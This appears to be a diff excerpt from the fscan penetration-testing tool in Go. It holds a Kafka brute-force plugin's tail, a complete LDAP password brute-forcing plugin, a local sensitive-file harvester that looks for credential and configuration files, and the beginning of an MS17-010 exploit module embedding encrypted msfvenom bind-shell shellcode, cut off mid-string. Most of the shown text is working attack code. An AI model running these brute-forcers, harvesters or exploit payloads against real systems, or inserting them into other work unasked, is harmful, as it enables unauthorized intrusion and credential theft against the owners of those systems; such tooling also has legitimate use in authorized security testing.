|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "kafka",
|
||||||
|
"type": "weak-password",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
|
||||||
|
target, result.Credential.Username, result.Credential.Password))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Kafka扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentKafkaScan 并发扫描Kafka服务
|
||||||
|
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *KafkaScanResult, 1)
|
||||||
|
workChan := make(chan KafkaCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Kafka并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryKafkaCredential 尝试单个Kafka凭据
|
||||||
|
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &KafkaScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建单个连接超时的上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
|
||||||
|
// 在协程中执行Kafka连接
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
success, err := KafkaConn(info, credential.Username, credential.Password)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
// 连接超时或被取消
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
// 发送结果
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var success bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
cancel()
|
||||||
|
return &KafkaScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
cancel() // 清理单个连接上下文
|
||||||
|
|
||||||
|
if success {
|
||||||
|
isUnauth := credential.Username == "" && credential.Password == ""
|
||||||
|
return &KafkaScanResult{
|
||||||
|
Success: true,
|
||||||
|
IsUnauth: isUnauth,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 记录错误
|
||||||
|
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
|
||||||
|
credential.Username, credential.Password, err))
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &KafkaScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// KafkaConn 尝试 Kafka 连接
|
||||||
|
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
config := sarama.NewConfig()
|
||||||
|
config.Net.DialTimeout = timeout
|
||||||
|
config.Net.ReadTimeout = timeout
|
||||||
|
config.Net.WriteTimeout = timeout
|
||||||
|
config.Net.TLS.Enable = false
|
||||||
|
config.Version = sarama.V2_0_0_0
|
||||||
|
|
||||||
|
// 设置 SASL 配置
|
||||||
|
if user != "" || pass != "" {
|
||||||
|
config.Net.SASL.Enable = true
|
||||||
|
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
|
||||||
|
config.Net.SASL.User = user
|
||||||
|
config.Net.SASL.Password = pass
|
||||||
|
config.Net.SASL.Handshake = true
|
||||||
|
}
|
||||||
|
|
||||||
|
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
|
||||||
|
|
||||||
|
// 尝试作为消费者连接测试
|
||||||
|
consumer, err := sarama.NewConsumer(brokers, config)
|
||||||
|
if err == nil {
|
||||||
|
defer consumer.Close()
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果消费者连接失败,尝试作为客户端连接
|
||||||
|
client, err := sarama.NewClient(brokers, config)
|
||||||
|
if err == nil {
|
||||||
|
defer client.Close()
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查错误类型
|
||||||
|
if strings.Contains(err.Error(), "SASL") ||
|
||||||
|
strings.Contains(err.Error(), "authentication") ||
|
||||||
|
strings.Contains(err.Error(), "credentials") {
|
||||||
|
return false, fmt.Errorf("认证失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
+307
@@ -0,0 +1,307 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/go-ldap/ldap/v3"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LDAPCredential 表示一个LDAP凭据
|
||||||
|
type LDAPCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// LDAPScanResult 表示LDAP扫描结果
|
||||||
|
type LDAPScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential LDAPCredential
|
||||||
|
IsAnonymous bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func LDAPScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 首先尝试匿名访问
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
|
||||||
|
|
||||||
|
if anonymousResult.Success {
|
||||||
|
// 匿名访问成功
|
||||||
|
saveLDAPResult(info, target, anonymousResult)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []LDAPCredential
|
||||||
|
for _, user := range Common.Userdict["ldap"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, LDAPCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveLDAPResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("LDAP扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentLDAPScan 并发扫描LDAP服务
|
||||||
|
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *LDAPScanResult, 1)
|
||||||
|
workChan := make(chan LDAPCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("LDAP并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryLDAPCredential 尝试单个LDAP凭据
|
||||||
|
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &LDAPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err := LDAPConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
isAnonymous := credential.Username == "" && credential.Password == ""
|
||||||
|
return &LDAPScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
IsAnonymous: isAnonymous,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &LDAPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LDAPConn 尝试LDAP连接
|
||||||
|
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 使用上下文控制的拨号过程
|
||||||
|
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", address)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用已连接的TCP连接创建LDAP连接
|
||||||
|
l := ldap.NewConn(conn, false)
|
||||||
|
defer l.Close()
|
||||||
|
|
||||||
|
// 在单独的协程中启动LDAP连接
|
||||||
|
go l.Start()
|
||||||
|
|
||||||
|
// 创建一个完成通道
|
||||||
|
done := make(chan error, 1)
|
||||||
|
|
||||||
|
// 在协程中进行绑定和搜索操作,确保可以被上下文取消
|
||||||
|
go func() {
|
||||||
|
// 尝试绑定
|
||||||
|
var err error
|
||||||
|
if user != "" {
|
||||||
|
// 使用更通用的绑定DN模式
|
||||||
|
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
|
||||||
|
err = l.Bind(bindDN, pass)
|
||||||
|
} else {
|
||||||
|
// 匿名绑定
|
||||||
|
err = l.UnauthenticatedBind("")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
done <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试简单搜索以验证权限
|
||||||
|
searchRequest := ldap.NewSearchRequest(
|
||||||
|
"dc=example,dc=com",
|
||||||
|
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
|
||||||
|
"(objectClass=*)",
|
||||||
|
[]string{"dn"},
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
|
||||||
|
_, err = l.Search(searchRequest)
|
||||||
|
done <- err
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待操作完成或上下文取消
|
||||||
|
select {
|
||||||
|
case err := <-done:
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveLDAPResult 保存LDAP扫描结果
|
||||||
|
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.IsAnonymous {
|
||||||
|
successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "ldap",
|
||||||
|
"type": "anonymous-access",
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "ldap",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+17
-12
@@ -10,17 +10,19 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
// 文件扫描黑名单,跳过这些类型和目录
|
||||||
blacklist = []string{
|
blacklist = []string{
|
||||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 敏感文件关键词白名单
|
||||||
whitelist = []string{
|
whitelist = []string{
|
||||||
"密码", "账号", "账户", "配置", "服务器",
|
"密码", "账号", "账户", "配置", "服务器",
|
||||||
"数据库", "备忘", "常用", "通讯录",
|
"数据库", "备忘", "常用", "通讯录",
|
||||||
}
|
}
|
||||||
|
|
||||||
// Linux系统关键配置文件
|
// Linux系统关键配置文件路径
|
||||||
linuxSystemPaths = []string{
|
linuxSystemPaths = []string{
|
||||||
// Apache配置
|
// Apache配置
|
||||||
"/etc/apache/httpd.conf",
|
"/etc/apache/httpd.conf",
|
||||||
@@ -79,7 +81,7 @@ var (
|
|||||||
"/root/.mysql_history",
|
"/root/.mysql_history",
|
||||||
}
|
}
|
||||||
|
|
||||||
// Windows系统关键配置文件
|
// Windows系统关键配置文件路径
|
||||||
windowsSystemPaths = []string{
|
windowsSystemPaths = []string{
|
||||||
"C:\\boot.ini",
|
"C:\\boot.ini",
|
||||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||||
@@ -88,25 +90,28 @@ var (
|
|||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// LocalInfoScan 本地信息收集主函数
|
||||||
func LocalInfoScan(info *Common.HostInfo) (err error) {
|
func LocalInfoScan(info *Common.HostInfo) (err error) {
|
||||||
fmt.Println("[+] LocalInfo扫描模块开始...")
|
Common.LogBase("开始本地信息收集...")
|
||||||
|
|
||||||
|
// 获取用户主目录
|
||||||
home, err := os.UserHomeDir()
|
home, err := os.UserHomeDir()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)
|
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
||||||
Common.LogError(errlog)
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 扫描固定位置
|
// 扫描固定位置的敏感文件
|
||||||
scanFixedLocations(home)
|
scanFixedLocations(home)
|
||||||
|
|
||||||
// 规则搜索
|
// 根据规则搜索敏感文件
|
||||||
searchSensitiveFiles()
|
searchSensitiveFiles()
|
||||||
|
|
||||||
fmt.Println("[+] LocalInfo扫描模块结束...")
|
Common.LogBase("本地信息收集完成")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// scanFixedLocations 扫描固定位置的敏感文件
|
||||||
func scanFixedLocations(home string) {
|
func scanFixedLocations(home string) {
|
||||||
var paths []string
|
var paths []string
|
||||||
|
|
||||||
@@ -146,13 +151,14 @@ func scanFixedLocations(home string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// checkAndLogFile 检查并记录敏感文件
|
||||||
func checkAndLogFile(path string) {
|
func checkAndLogFile(path string) {
|
||||||
if _, err := os.Stat(path); err == nil {
|
if _, err := os.Stat(path); err == nil {
|
||||||
result := fmt.Sprintf("[+] Found sensitive file: %s", path)
|
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
||||||
Common.LogSuccess(result)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// searchSensitiveFiles 搜索敏感文件
|
||||||
func searchSensitiveFiles() {
|
func searchSensitiveFiles() {
|
||||||
var searchPaths []string
|
var searchPaths []string
|
||||||
|
|
||||||
@@ -202,8 +208,7 @@ func searchSensitiveFiles() {
|
|||||||
for _, white := range whitelist {
|
for _, white := range whitelist {
|
||||||
fileName := strings.ToLower(info.Name())
|
fileName := strings.ToLower(info.Name())
|
||||||
if strings.Contains(fileName, white) {
|
if strings.Contains(fileName, white) {
|
||||||
result := fmt.Sprintf("[+] Found potential sensitive file: %s", path)
|
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||||
Common.LogSuccess(result)
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+67
-67
@@ -19,14 +19,14 @@ func MS17010EXP(info *Common.HostInfo) {
|
|||||||
var sc string
|
var sc string
|
||||||
|
|
||||||
// 根据不同类型选择shellcode
|
// 根据不同类型选择shellcode
|
||||||
switch Common.SC {
|
switch Common.Shellcode {
|
||||||
case "bind":
|
case "bind":
|
||||||
// msfvenom生成的Bind Shell, 监听64531端口
|
// msfvenom生成的Bind Shell, 监听64531端口
|
||||||
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTns